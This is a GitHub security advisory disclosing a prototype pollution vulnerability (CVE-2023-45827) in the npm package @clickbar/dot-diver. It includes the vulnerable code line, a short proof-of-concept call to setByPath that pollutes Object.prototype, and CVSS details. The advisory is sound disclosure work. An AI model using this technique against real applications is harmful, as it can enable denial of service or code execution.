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Prototype Pollution(PP) vulnerability in setByPath

High
saibotk published GHSA-9w5f-mw3p-pj47 Nov 2, 2023

Package

npm @clickbar/dot-diver (npm)

Affected versions

< 1.0.1

Patched versions

>= 1.0.2

Description

Summary

There is a Prototype Pollution(PP) vulnerability in dot-diver. It can leads to RCE.

Details

//https://github.com/clickbar/dot-diver/tree/main/src/index.ts:277

// eslint-disable-next-line @typescript-eslint/no-unsafe-member-access
  objectToSet[lastKey] = value

In this code, there is no validation for Prototpye Pollution.

PoC

import { getByPath, setByPath } from '@clickbar/dot-diver'

console.log({}.polluted); // undefined
setByPath({},'constructor.prototype.polluted', 'foo');
console.log({}.polluted); // foo

Impact

It is Prototype Pollution(PP) and it can leads to Dos, RCE, etc.

Credits

Team : NodeBoB

최지혁 ( Jihyeok Choi )

이동하 ( Lee Dong Ha of ZeroPointer Lab )

강성현    ( kang seonghyeun )

박성진    ( sungjin park )

김찬호    ( Chanho Kim )

이수영    ( Lee Su Young )

김민욱    ( MinUk Kim )

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

CVE ID

CVE-2023-45827

Weaknesses

Credits